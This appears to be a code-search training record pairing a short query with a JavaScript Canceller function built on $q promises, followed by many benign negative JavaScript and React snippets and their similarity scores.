attribute: \"unique-key\",\n },\n eventTypes: {\n type: Object,\n },\n language: {\n type: String,\n },\n theme: {\n type: String,\n },\n libPath: {\n type: String,\n attribute: \"lib-path\",\n },\n editorReference: {\n type: String,\n reflect: true,\n attribute: \"editor-reference\",\n },\n /**\n * automatically set focus on the iframe\n */\n autofocus: {\n type: Boolean,\n reflect: true,\n },\n /**\n * hide line numbers\n */\n hideLineNumbers: {\n type: Boolean,\n attribute: \"hide-line-numbers\",\n },\n tabSize: {\n type: Number,\n attribute: \"tab-size\",\n },\n };\n }", "function Vehicle(Make, Model, Year, Color) { //constructor function for Vehicle object \r\n this.Vehicle_Make= Make; //Make of the Vehicle object\r\n this.Vehicle_Model= Model; //Model of the Vehicle object\r\n this.Vehicle_Year= Year; //Year of the Vehicle object\r\n this.Vehicle_Color= Color; //Color of the Vehicle object \r\n}", "static get properties() {\n return {\n ...super.properties,\n /**\n * Stores an array of all the players on the page.\n */\n players: {\n type: Array,\n },\n /**\n * Manages which player is currently active.\n */\n activePlayer: {\n type: Object,\n },\n };\n }", "calc() { // Gets added automatically to the prototype of Class (PersonCL)\n return 2021 - this.birthYear;\n }", "getName() {\n return this.myName;\n }" ]
[ "0.5626318", "0.55560267", "0.55456835", "0.53923345", "0.53877664", "0.53847003", "0.5364148", "0.5364148", "0.5222518", "0.5205242", "0.5177581", "0.51213586", "0.5111877", "0.5104709", "0.50725853", "0.5040376", "0.5025748", "0.5022245", "0.5011207", "0.50111485", "0.50111485", "0.5007847", "0.5007631", "0.4994037", "0.49828324", "0.497763", "0.4973617", "0.49682263", "0.49637064", "0.49547413", "0.4950624", "0.49483123", "0.4923536", "0.4923536", "0.4923536", "0.4923536", "0.49081692", "0.4895107", "0.4894293", "0.4890058", "0.4879285", "0.4878062", "0.48691761", "0.4835329", "0.48344737", "0.482718", "0.48265377", "0.48153013", "0.48083594", "0.480679", "0.48064905", "0.4789118", "0.47880334", "0.47874585", "0.4785091", "0.47802565", "0.47797388", "0.47786447", "0.47720256", "0.4761564", "0.4759487", "0.47578114", "0.47573373", "0.47551802", "0.47530118", "0.47500333", "0.47472903", "0.47471637", "0.47465426", "0.4745074", "0.47424367", "0.47412163", "0.4740763", "0.47366992", "0.47342893", "0.47327453", "0.47324666", "0.47294244", "0.47271457", "0.4725466", "0.47244957", "0.47198176", "0.47158027", "0.4707017", "0.47006726", "0.46995783", "0.46963578", "0.46963578", "0.46947986", "0.46835944", "0.4683243", "0.468304", "0.46819723", "0.46807757", "0.46743563", "0.4673551", "0.46635568", "0.46546656", "0.46513477", "0.46497715" ]
0.5398034
3
An example you might try in your app
function Canceller($q) { var canceller = this; var _cancelled = false; var deferred = $q.defer(); canceller.cancelled = function() {return _cancelled;}; canceller.promise = deferred.promise; canceller.cancel = function (reason) { deferred.resolve(reason); canceller.cancel = noop; _cancelled = true; }; canceller.close = function(){ deferred.resolve('closed'); canceller.cancel = noop; } }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function exampleFunctionToRun(){\n\n }", "static greeting() {\n return 'Hi there!';\n }", "function main(){\n userInterface();\n bindings();\n console.log(stutter(\"I like to eat bananas for dinner. Yeah.\"));\n}", "static main() {\n let p = new Person();\n const detail = p.getPersonDetail();\n console.log(detail);\n }", "moe() {\r\n console.log('I am digesting')\r\n }", "sayHello() {\n return 'Hello,Molecular'\n }", "function testing() {\n console.log('Personalization App Loaded');\n}", "function showData()\n {\n console.log('hello world');\n }", "greet() {\n\n }", "static helloWorld() {\n console.log('Hi there');\n }", "Run() {\n\n }", "function buckyTutorials() {\n\tbuckyHTML();\n\tbuckyAngularJS();\n}", "function newHowTo() {\n console.log('how to is working');\n }", "static helloWorld() {\r\n console.log('Hi there!');\r\n }", "function greetings() {\n\n \n}", "function App() {\r\n\treturn <Example/>;\r\n}", "function startDemo() {\n View.set('Demo');\n }", "render() {\n \n return (\n <div>\n <h3>\n This is where you can track your check-ins over time. The focus is on your emotional intensity. I hope that this will give you\n some insight into your own patterns. \n </h3>\n </div>\n )\n\n }", "function main() {\n\n\t//======================================\n\t//THE FOLLOWING SHOULD ALL BE SINGLETONS\n\t//======================================\n\n\t//A service to get data and set data from localStorage API\n\tlet todoService = new TodoService();\n\t//The todoApp Data model\n\tlet todoAppData = new TodoAppData(todoService.getLists());\n\t//A class that helps create DOM elements imperatively\n\tlet todoViewFactory = new TodoViewFactory();\n\t//Helps controll the view of the application\n\tlet todoViewSetter = new TodoViewSetter(todoViewFactory);\n\n\t//initializes the view\n\ttodoViewSetter\n\t\t.setListsMenu(todoAppData.lists)\n\t\t.setSelectedList(todoAppData.selectedList);\n\n\t//sets event listeners\n\tsetListeners(todoAppData, todoViewSetter, todoService);\n}", "function greeting(name, age) {\n console.log('Hello ' + name);\n console.log('your age is: ' + age);\n console.log('Whats up');\n console.log('How you doing');\n console.log('Have a great da');\n console.log('Blah blah blah blah');\n}", "function createApp(){ console.log(\"create an app\") }", "function createAnotherExample() {\n var name = prompt('Example name', 'Another Example'),\n topic = dm4c.restc.request('POST', '/example/create', { name: name })\n dm4c.show_topic(new Topic(topic), 'show')\n }", "function main() {\n\n // Step 1: Load Your Model Data\n // The default code here will load the fixtures you have defined.\n // Comment out the preload line and add something to refresh from the server\n // when you are ready to pull data from your server.\n <%= class_name %>.server.preload(<%= class_name %>.FIXTURES) ;\n\n // TODO: refresh() any collections you have created to get their records.\n // ex: <%= class_name %>.contacts.refresh() ;\n\n // Step 2: Instantiate Your Views\n // The default code just activates all the views you have on the page. If\n // your app gets any level of complexity, you should just get the views you\n // need to show the app in the first place, to speed things up.\n SC.page.awake() ;\n\n // Step 3. Set the content property on your primary controller.\n // This will make your app come alive!\n\n // TODO: Set the content property on your primary controller\n // ex: <%= class_name %>.contactsController.set('content',<%= class_name %>.contacts);\n\n}", "static personal(){\n return \"Hello from USER :)\";\n }", "includeSpoon() {\n//In this method, log the string 'Here is your spoon!' to the console\n console.log(\"Here is your spoon!\");\n }", "static explain() {\n console.log('I am a circle');\n }", "function run() {\n var el = document.getElementById('content');\n var greeter = new Greeter(el);\n\n //console.log(\"greeter: \", greeter);\n greeter.start();\n }", "static meow() {\n console.log(\"Meow Meow Meow Cat Lovers\");\n }", "constructor() {\n // Se mostrara en CONSOLA\n console.log(\"I am an animal.\");\n }", "function greeting(){\n\tconsole.log(\"Day 4 feeling great!\");\n}", "sayHello ()\n {\n // Creating an element.\n const helloElement = document.createElement( \"P\" );\n // Fill in the text of the element (using template literal.)\n helloElement.textContent = `Hello, my name is ${this.name}!`;\n // Add the new element to the body of our webpage.\n document.body.appendChild( helloElement );\n }", "function simpleGreeting() {\n console.log(\"Hello Betty\");\n}", "function defaultDemo1() {\n console.log(\"Hello Default Demo!!!\");\n}", "function sayHello(name , age){\n return console.log(`Hello ${name} you are ${age} years old`);\n }", "start() {\n console.log(\"Die Klasse App sagt Hallo!\");\n }", "function greet(name, age) {\n console.log(\n `Witam Cię na mojej biedackiej stronie. Jestem ${name}. Mam ${age} lat. I mam nadzieję, że w końcu posiądę tajemną wiedzę z dziedziny frontendu.`\n );\n}", "Sample() {}", "static info(){\r\n\t\t\tconsole.log('A dog is a mammal');\r\n\t\t}", "function createGreeting(name){\n return `Hello, my name is ${name}`;\n}", "function printHelloWorld() {\n\tvar _args = arguejs2.getArguments(arguments);\n\tconsole.log(\"hello world\");\n}", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "constructor() {\n \n \n \n }", "function main () {\n const app = new Mali(services, 'Greeter')\n app.use({ sayHello })\n app.start(HOSTPORT)\n console.log(`Greeter service running @ ${HOSTPORT}`)\n}", "function greeting() {\n console.log(\"Hello World\");\n}", "static about() {\n return \"a vehicle is a means of transportion.\"\n }", "helloWorld () {\n console.log('hello world!')\n }", "function greeter(name, age) {\n console.log(`Hello my name is ${name}, and I am ${age} years old!`);\n}", "function main() {\n addHeadings();\n styleTutorialsAndArticles();\n separateAllTutorials();\n}", "exampleHelper() {\n this.props.exampleAction(true);\n if (!this.props.exampleVariable) {\n return <Text style={styles.text}>{'My template has been fiddled with'}</Text>;\n }\n return <Text style={styles.text}>{'Hello World! Welcome to my template'}</Text>;\n }", "function greet() {\n const name = 'Dolly'\n console.log(`Ohayou Sekai Good Morning World, ${name}`)\n}", "function Fundamentals() {\n\n }", "function studentGreeting(name){\r\n console.log(`Greeting ${name}`)\r\n}", "includeSpoon () {\n console.log('Here is your spoon!');\n }", "static greetUser () {\n debug('greetUser');\n\n AppStore.state.standingBy.text = 'How may I help you?';\n AppStore.emitChange();\n\n this.vaani.listen();\n }", "printGreeting() {\n console.log(\"Hello my name is \" + this._name + \" and I am a person.\")\n }", "function greeting(name, age){\n console.log(\"jas sum \"+name+\" i imam\"+age+\" godini.\");\n}", "function greeting() {\n console.log(\"Hello Students.\");\n}", "function helloBootcamp() {\n console.log('hello bootcamp');\n}", "function AppComponent(jsonp) {\n this.jsonp = jsonp;\n this.title = 'Tour of Heroes';\n this.catURL = 'http://i.imgur.com/RN4ixMa.jpg';\n this.keyword = \"kitten\";\n this.testvar = 0;\n this.kittenKeyWords = [\n \"kitten\",\n \"kittens\",\n \"kittys\",\n \"meow\",\n \"kitty\",\n \"kitties\"\n ];\n }", "function MyInfo() {\n return (\n <div>\n <h1>Alex Whan</h1>\n <p>I am a developer in the Seattle area.</p>\n </div>\n )\n}", "greet() { console.log(\"hello\"); }" ]
[ "0.6265988", "0.5905497", "0.57903516", "0.57788426", "0.56871736", "0.5680291", "0.5671981", "0.5622803", "0.5616184", "0.56077385", "0.5604084", "0.56026745", "0.5595816", "0.55952567", "0.55906105", "0.5557419", "0.5555572", "0.5553404", "0.5551718", "0.5534362", "0.55250734", "0.5521981", "0.5514477", "0.55037117", "0.5497797", "0.54824317", "0.5478408", "0.5471884", "0.54714954", "0.54526705", "0.5452605", "0.5446087", "0.54422694", "0.5435879", "0.54280174", "0.5424479", "0.5418778", "0.5402048", "0.5386657", "0.5383691", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53720915", "0.53651935", "0.53639144", "0.53616744", "0.53606075", "0.5345162", "0.53425634", "0.53411555", "0.5340757", "0.5337562", "0.5332671", "0.53296876", "0.5325156", "0.5322511", "0.5320154", "0.53138375", "0.53054804", "0.5303744", "0.5299607", "0.529817" ]
0.0
-1
Normally you would want to split things out into separate components. But in this example everything is just done in one place for simplicity
render() { return ( <DragDropContext onDragEnd={this.onDragEnd}> <Droppable droppableId="droppable"> {(provided, snapshot) => ( <div ref={provided.innerRef} // style={this.getListStyle(snapshot.isDraggingOver)} > {this.props.layers.map((item, index) => ( <Draggable key={index} draggableId={item.img} index={index}> {(provided, snapshot) => ( <div ref={provided.innerRef} {...provided.draggableProps} {...provided.dragHandleProps} // style={this.getItemStyle( // snapshot.isDragging, // provided.draggableProps.style // )} > <div className="settings-elements"> <i className="fas fa-ellipsis-v" /> </div> <div className="settings-elements"> <img className="img-settings" src={item.img} alt="eachimg" /> </div> <div className="settings-elements"> <div style={{ color: "#ccc", paddingBottom: "4px" }}> Layer {index + 1} </div> <div className="input-group mb-3"> <div className="input-group-prepend"> <button style={{ borderRight: "none" }} type="button" className="btn layer-btns" onClick={this.handleMinus.bind(this, index)} > - </button> </div> <input className="number-input" type="number" pattern="[0-9]*" value={item.val} onChange={this.handleChange.bind(this, index)} /> <div className="input-group-append"> <button style={{ borderLeft: "none" }} type="button" className="btn layer-btns" onClick={this.handlePlus.bind(this, index)} > + </button> </div> </div> </div> </div> )} </Draggable> ))} {provided.placeholder} </div> )} </Droppable> </DragDropContext> ); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "function App() {\n return (\n <div className=\"App\">\n {/* <BaiTapThucHanhChiaLayout/> */}\n {/* <DataBuilding></DataBuilding> */}\n {/* <DataBuildingFC></DataBuildingFC> */}\n {/* <HandleEvent></HandleEvent>\n <HandleEventFC></HandleEventFC> */}\n {/* <RenderData></RenderData> */}\n <ChooseCarColor></ChooseCarColor>\n {/* <ChooseFilm></ChooseFilm> */}\n {/* <ChooseGlasses></ChooseGlasses> */}\n </div>\n );\n}", "setupComponents() {\n\t\tthis.contactBar = new ContactBar();\n\t\tthis.contactBar.setup();\n\n\t\tthis.modal = new Modal();\n\t\tthis.modal.setup();\n\n\t\tthis.accordion = new Accordion();\n\t\tthis.accordion.setup();\n\n\t\tthis.mediaGallery = new MediaGallery();\n\t\tthis.mediaGallery.setup();\n\t}", "function Main() {\n return (\n <div>\n <AlertSection />\n <Section1 /> \n <Section2 /> \n <Section3 /> \n <Section4 /> \n <Section5 /> \n <Section6 /> \n <Youtube />\n {/* <News /> */}\n </div>\n )\n}", "renderSubComponents() {\n switch (this.state.render) {\n case \"HomePageAboutUs\":\n var editHomePageAboutUs = document.getElementById(\n \"editHomePageAboutUs\"\n );\n if (\n editHomePageAboutUs != null &&\n editHomePageAboutUs.style.display == \"none\"\n ) {\n editHomePageAboutUs.style.display = \"block\";\n }\n return <HomePageAboutUs />;\n case \"TimeLineTables\":\n var editTimeLines = document.getElementById(\"editTimeLines\");\n if (editTimeLines != null && editTimeLines.style.display == \"none\") {\n editTimeLines.style.display = \"grid\";\n }\n return (\n <TimeLineTables\n formType={this.state.formType}\n data={this.state.data}\n history={this.props.history}\n />\n );\n case \"EventTables\":\n return <EventTables />;\n\n case \"PartnerTables\":\n return <PartnerTables />;\n\n case \"FooterTables\":\n return <FooterTables />;\n }\n }", "function App() {\n return (\n <div className=\"App\">\n {/* <h1>sreedhar</h1>\n <Student />\n <Add_1 /> */}\n {/* <Props_Components/> */}\n {/* <Props_Classcomponents sayhello=\"good morning\"/> */}\n {/* <State_Components/> */}\n {/* <Events_Component /> */}\n {/* <Binding_Component/> */}\n <Navbar_Component />\n {/* <Conditions_Components/> */}\n {/* <Loops_FunctionalComponets /> */}\n </div>\n );\n}", "function App() {\n return (\n <div className=\"App\">\n {/* <BaiTapLayout1 />\n {/* <BaiTapThucHanhLayout /> */}\n {/* < Databinding /> */}\n {/* <Styles /> */}\n {/* <HandleEvent /> */}\n {/* <StateDemo /> */}\n {/* <BaiTapChonXe /> */}\n {/* <RenderWithMap /> */}\n {/* < BaiTapLayoutMap /> */}\n <DanhSachSanPhamProps />\n </div>\n );\n}", "function App() {\n return (\n <div className='container'>\n {/* <Setup/> */}\n {/* The reason we use Setup is b.c ErrorExample component is set as default export so we can name it anything we want during import and has to use that specific name */}\n\n {/* <Setup2/> */}\n\n {/* <Setup3/> */}\n \n {/* <Setup4/> */}\n \n {/* <Setup5/> */}\n\n {/* <Setup6/> */}\n\n {/* <Setup7/> */}\n\n {/* <Setup8/> */}\n\n {/* <Setup9/> */}\n \n {/* <Setup10/> */}\n\n {/* <Setup11/> */}\n\n {/* <Setup12/> */}\n\n {/* <Setup13/> */}\n\n {/* <Setup14/> */}\n\n {/* <Setup15/> */}\n\n {/* <Setup16/> */}\n\n {/* <Setup17/> */}\n\n {/* <Setup18/> */}\n\n {/* <Setup19/> */}\n\n <Setup20/>\n </div>\n )\n}", "render() {\n\n // Render fixed components with optional components added in\n return (\n <div className=\"app\">\n <div className=\"top\">\n <div className=\"clicker\">\n <button onClick={this.click} disabled={this.state.resting}>\n {this.state.resting ? \"Resting\" : \"Adventure!\"}\n </button> \n </div>\n <div className=\"info\">{this.state.message}</div>\n </div>\n {this.renderResources()}\n {this.renderMarketplace()}\n </div>\n );\n }", "GetComponents() {}", "GetComponents() {}", "GetComponents() {}", "GetComponents() {}", "function App() {\n return (\n <div className=\"App\">\n \n <Title/>\n {/*\n <PersonalInfo/>\n <VideoBanner/>\n \n <SplitText/>\n <LandingPage/>\n */}\n\n\n\n </div>\n );\n}", "function SomeComponent() {}", "function HomeScreen() {\n return (\n <div className=\"App\">\n\n <TeQuestHeader></TeQuestHeader>\n \n <MyCarousel></MyCarousel>\n\n <BoxLabelsPart></BoxLabelsPart>\n\n <CallForAction></CallForAction>\n\n <FeaturedSPs></FeaturedSPs>\n\n <NewsletterSubscribe></NewsletterSubscribe>\n\n <FooterMenuItems></FooterMenuItems>\n </div>\n );\n}", "function App (){\n\n \n\n \n return (\n <div className=\"App\">\n <div className=\"header123\"><Header/></div>\n \n<div className=\"brightlow\">\n <div className=\"feature123\"><FeatureSection/></div>\n <div className=\"pocket123\"> <PocketSection/></div>\n <div className=\"action123\"> <ActionSection/></div>\n \n <div className=\"city123\"><CitySection/></div>\n <div className=\"footer123\"><Footer/></div>\n </div></div>\n \n );\n}", "mountComponent(/* instance, ... */) { }", "doSomethingComplicated() {\n return (\n <div>\n <h1>I'm off doing something complicated</h1>\n </div>\n );\n }", "function Main(){\n\nreturn(\n <Fragment>\n <InputTodo />\n <ListTodo />\n </Fragment>\n \n);\n\n}", "function New({firstName} ) {\n return <p>Hello from another component {firstName}<br/>\n <h1>check this out</h1>\n <img src='../public/rose.jpeg' alt='pic' title='anms pic' />\n <ol>\n <li>new.js</li>\n <li>first try</li>\n <li> second try </li>\n </ol> </p>\n}", "function App() {\n return (\n <div>\n <Sidebar/>\n <Slider/>\n <MediaCard/>\n {/* <Detail/> */}\n </div>\n );\n}", "render() {\n return (\n <div className='landing'>\n <LinkShortener />\n <LoginButton />\n <BenefitsCopy />\n <LinkSupportCopy />\n <FeedbackCarousel />\n <FeedbackForm />\n <LinkToMain />\n </div>\n );\n }", "function main() {\n init();\n render();\n handleVisibilityChange();\n}", "function App() {\n return ( <div>\n My component: <Title/> <br/> <Title/> <br/> <Title/>\n </div>\n );\n}", "function App() {\n return (\n <div className=\"App\">\n {/* <HookCounter></HookCounter> */}\n {/* <Select1></Select1> */}\n {/* <SelectMultiple></SelectMultiple> */}\n {/* <test></test> */}\n {/* <VotingSystem></VotingSystem> */}\n{/* <RegistrationForm></RegistrationForm> */}\n {/* <MultiUse></MultiUse> */}\n {/* <Example></Example> */}\n <TableExample></TableExample>\n {/* <HookcounterThree></HookcounterThree> */}\n {/* <HookCounter4></HookCounter4> */}\n {/* <HookCounterOne></HookCounterOne> */}\n {/* <HookMouse></HookMouse> */}\n {/* <MouseContainer></MouseContainer> */}\n {/* <IntervalHookCounter></IntervalHookCounter> */}\n {/* <DataFetching></DataFetching> */}\n latha hai from App\n </div>\n );\n}", "function App() {\n return (\n <div className=\"container\">\n {/* <Index /> */}\n <Setup />\n {/* <Final /> */}\n </div>\n );\n}", "render() {\n const { name, code } = this.props\n return (\n <div>\n <h1>This is a Class Components</h1>\n <p>I am {name}, and I love {code}</p>\n </div>\n )\n }", "function _constructComponents() {\r\n\t//having a set root element allows us to make queries\r\n\t//and resultant styling safe and much faster.\r\n\t//var elOuterParent = _rootDiv;\r\n\t//document.getElementById(_rootID);\r\n\tvar builder = new WidgetBuilder();\r\n\t_debugger.log(\"building html scaffolding.\"); //#\r\n\t_el = builder.construct(CSS_PREFIX, _manips);\r\n\t\r\n\t//todo: do we need to \"wait\" for these? Is there any initialization problem\r\n\t//that prevents them from being constructed to no effect?\r\n\t\r\n\t_debugger.log(\"building slideMotion.\"); //#\r\n\t_slideMotion = new SlideMotion();\r\n\tthis.slideMotion = _slideMotion; //# debugging only\r\n\t\r\n\t_debugger.log(\"building slideLogic.\"); //#\r\n\t_slideLogic = new SlideLogic(_slideMotion);\r\n\t_animator = _slideLogic;\r\n\t\r\n\t_debugger.log(\"building Event Manager.\"); //#\r\n\t_evtMgr = new EvtMgr(_behavior, _animator);\r\n\t_debugger.log(\"building Scaler.\"); //#\r\n\t_deviceWrangler = new DeviceWrangler();\r\n\t_scaler = new Scaler(_outerParent, _evtMgr, _animator);\r\n}", "function Homepage() {\n return (\n <div style={{textAlign:\"center\"}}>\n <Header></Header>\n {/* <AuthForm></AuthForm> */}\n <MediaObject></MediaObject>\n <Works></Works>\n <Features></Features>\n <Search></Search>\n <Footer></Footer>\n </div>\n );\n}", "render() {\n\n //in the class we can declare javascript constants, variables and lets. This iterates over the array and returns each element to the page\n const dataList = this.props.datas.map( data => {\n return(\n <div key={data.id}>\n <div onClick={() => this.onDataSelect(data)}>{data.name}</div>\n </div>\n );\n });\n\n return (\n\n <div>\n {/* returning the const we declared above */}\n <div className=\"firstComponentList\">{dataList}</div>\n\n {/* External component that we imported */}\n <SecondComponent data={this.state.selectedData} />\n </div>\n )\n\n }", "renderMainSection() {\n if (LoginHandler.loginDetails.username == null) {\n switch (this.state.currentPane) {\n case \"login\":\n return <Login onPaneChange={this.onPaneChange.bind(this)}/>\n case \"createAccount\":\n return <CreateAccount onPaneChange={this.onPaneChange.bind(this)}/>\n }\n } else {\n switch (this.state.currentPane) {\n case \"login\":\n return <ManageAccount onPaneChange={this.onPaneChange.bind(this)}/>\n case \"myposts\":\n return <TrendingView type=\"mine\" />\n }\n }\n }", "render() {\n return (\n <div className=\"landing-container\">\n <DataMenu/>\n <section id = \"datawelcome\">\n <DataWelcome/>\n </section>\n <section id = \"data\">\n <TestData/>\n </section>\n <section id = \"stats\">\n <BarComponent/>\n </section>\n <section id = \"trends\">\n \n </section>\n <section id = \"methods\">\n \n </section>\n \n <ContactBanner/>\n </div>\n );\n }", "render () {\n return (\n <div className=\"App\">\n <Header passed={this.state}/>\n <Body passed={this.state}/>\n <Start passed={this.state}/>\n </div>\n )\n }", "function App() {\n return (\n <div className=\"App\">\n <UserProvider value=\"Prince\">\n <ComponentC />\n </UserProvider>\n\n {/*\n <ClickCounter name=\"Prince\" />\n <HoverCounter name=\"Prince\"/>\n <ErrorBoundary>\n <Hero heroName=\"superman\"/>\n </ErrorBoundary>\n <ErrorBoundary>\n <Hero heroName=\"batman\"/>\n </ErrorBoundary>\n <ErrorBoundary>\n <Hero heroName=\"joker\"/>\n </ErrorBoundary>\n <PortalsDemo />\n <FRParentInput />\n <Focusfile />\n <RefsDemo />\n <ParentComp />\n <Fragmentdemo />\n <Column />\n <LifecycleA />\n <Form />\n <Namelist />\n <Usergreeting />\n <Parentcomponent />\n {/* <Eventbind />\n */}\n {/* <Functionclick />\n <Classclick />\n /* /* < Counter />\n <Message />\n <Hello lastname=\" Roy\">\n <p>Your age is 22 Years</p>\n </Hello>\n <Greet name=\"abhishek\" lastname=\" kumar\">\n <p>Your age is 31 Years</p>\n </Greet>\n <Greet name=\"Ram\" lastname=\" singh\">\n <button>show</button>\n <p>\n Your Age is 32 Years\n </p></Greet>\n <Welcome name='one'/>\n <Welcome name='two' />\n <Welcome name='three' /> } */}\n </div>\n );\n}", "function App() {\n return (\n <div className=\"container\">\n <Setup />\n {/* <Final /> */}\n {/* <BirthApp /> */}\n </div>\n );\n}", "function App() {\n return (\n // returns a div with a header 1, a situp component, and a pushup component, each rendering their own html/jsx code.\n <div>\n <h1>Exercise Tracker</h1>\n <Situps />\n <Pushups />\n </div>\n );\n}", "renderComponents() {\n this.algedonodeActivators.forEach(aa => {\n aa.render(this.renderer)\n })\n this.dials.forEach(d => {\n d.render(this.renderer)\n })\n this.strips.forEach(s => {\n s.render(this.renderer)\n })\n this.rows.forEach(r => {\n r.forEach(c => {\n c.render(this.renderer)\n })\n })\n this.lights.forEach(lightPair => {\n lightPair.forEach(light => light.render(this.renderer))\n })\n }", "function UtensilsMain() {\n return (\n <Fragment>\n <UtensilsForm />\n <UtensilsDisplay />\n </Fragment>\n )\n}", "_renderNewRootComponent(/* instance, ... */) { }", "function App() {\n return (\n <div className=\"App\">\n {/* <h1>Hello I am Raju Molla</h1>\n <p>Worst programmer</p>\n <Hello />\n <Hi /> */}\n {/* <MyclassComp name='raju' age={21} />\n <MyclassComp name='Molla' age={25}/>\n <MyclassComp /> */}\n {/* <WithOutJsx /> */}\n {/* <StudnetInfo name=\"Raju\" age={2} /> */}\n {/* <StudnetInfo name=\"Sajid\" age={5} />\n <StudnetInfo name=\"kajol\" age={10} /> */}\n\n {/* <ParentComp name=\"raju\"> */}\n {/* <ChildComp /> */}\n {/* <h4>MERN stack developer</h4> */}\n {/* </ParentComp> */}\n {/* <ParentComp name=\"raju\"> */}\n {/* <ChildComp /> */}\n {/* <h4>Javascript developer</h4> */}\n {/* </ParentComp> */}\n {/* <MyclassComp /> */}\n {/* <ParentComp /> */}\n {/* <Task /> */}\n {/* <TaskControll /> */}\n {/* <ParentComp /> */}\n \n {/* <PrevStateComp /> */}\n {/* <ListRenderComp /> */}\n {/* <TableComp /> */}\n {/* < InfoCamp /> */}\n {/* <CssStyleSheet /> */}\n {/* <InlineCass /> */}\n {/* <Button /> */}\n {/* <ControlFrom /> */}\n <RegistrationFormComp />\n </div>\n );\n}", "render() {\n\t\tconst howManyLegsADragonHas = 4;\n\n\t\treturn (\n\n\t\t\t{/* inside a render method, everything must be contained in one root element... */}\n\t\t\t<div>\n\n\t\t\t{/* in which you can put things that you want to render... (yes, really) */}\n\t\t\t\t<span>Hi mom</span>\n\n\t\t\t\t{/* ... and where you can nest other components that you import, which become 'children' of this one. */}\n\t\t\t\t<StatelessFunctionalComponent\n\t\t\t\t\tsayUnicornsAreCool = {this.sayUnicornsAreCool}\n\t\t\t\t\tchangeState = {this.changeState}\n\t\t\t\t\thowManyLegsADragonHas = {howManyLegsADragonHas}\n\t\t\t\t/>\n\n\t\t\t</div>\n\t\t);\n\t}", "function App() {\n return (\n <div className=\"App\">\n <TopBar/>\n <ProgressDonations/>\n <FormDisplay/>\n {/* <DonorList/> */}\n\n\n </div>\n \n \n \n \n );\n}", "function App() {\n return (\n <div className=\"App\">\n\n\n<HomePage></HomePage>\n{/* <NewsEvents></NewsEvents> */}\n{/* <ContactFrom></ContactFrom> */}\n\n\n </div>\n );\n}", "defineComponents() {\r\n this.components.forEach(Component => {\r\n this[Component.name] = new Component();\r\n });\r\n }", "function Component() { }", "function App() {\n return (\n <div className=\"App\">\n <Stylesheet primary = {true} />\n {/* <MyComponent/>\n <MyHeader />\n <ClassComponent name = \"murat aykurt\"/>\n <FunctionalComponent name=\"Murat Aykurt\" dateBirth = \"1992\" /> */}\n \n </div>\n );\n}", "render() {\n return <MainContainer>{this.state.comp}</MainContainer>;\n }", "function App() {\n return (\n <div className=\"App\">\n <header className=\"App-header\">\n <h3>Email App</h3>\n </header>\n <main>\n <CsvUpload />\n <hr />\n <ListFiles />\n <hr />\n <CurrFileData />\n </main>\n </div>\n );\n}", "function Machine() {\n\n\n return (\n <div>\n <TransportComponent />\n </div>\n )\n\n}", "additionalContent() {\n let info = this.state.data.info;\n return (\n <div key=\"inside_components\" id=\"inside-contents\"> \n <City key={guidGenerator()} name={info.current_observation.display_location.full} />\n <InfoBox key=\"infoBoxDiv\" data_obv={info.current_observation} metricState={this.state.metric} />\n </div>\n )\n }", "render() {\n return (\n <div className=\"landing\">\n <LinkShortener />\n <LinkList />\n <FeedbackCarousel />\n <FeedbackForm />\n <LinkToMain />\n </div>\n );\n }", "function FunctionalComponent() {}", "render() {\n if(this.props.isSignedIn) {\n return (\n <div className=\"wrapper\">\n <Header></Header>\n <Menu></Menu>\n <ContentWrapper></ContentWrapper> {/* knote: since all routes needs to be at one place \n and we dont want to add \"common\" components to each of them, all these are defined \n under this component */}\n <SidebarContent></SidebarContent>\n <Footer></Footer>\n </div>\n )\n } else {\n return ( <div></div>)\n }\n }", "function renderEverything() {\n renderPepperonni()\n renderMushrooms()\n renderGreenPeppers()\n renderWhiteSauce()\n renderGlutenFreeCrust()\n\n renderButtons()\n renderPrice()\n}", "function renderEverything() {\n renderPepperonni()\n renderMushrooms()\n renderGreenPeppers()\n renderWhiteSauce()\n renderGlutenFreeCrust()\n\n renderButtons()\n renderPrice()\n}", "function App() {\n\n return (\n <div className=\"App\">\n {/* <BaiTapDanLayout /> */}\n {/* <DataBinding /> */}\n {/* <EventBinding /> */}\n {/* <State /> */}\n {/* <ExState /> */}\n {/* <ExState2 /> */}\n {/* <RenderWithMap /> */}\n {/* <DemoProps /> */}\n {/* <BT2ProductList productData={dataJson}/> */}\n {/* <BT3PhoneList /> */}\n {/* <BTCart /> */}\n {/* <TodoApp /> */}\n {/* <CartsRedux /> */}\n 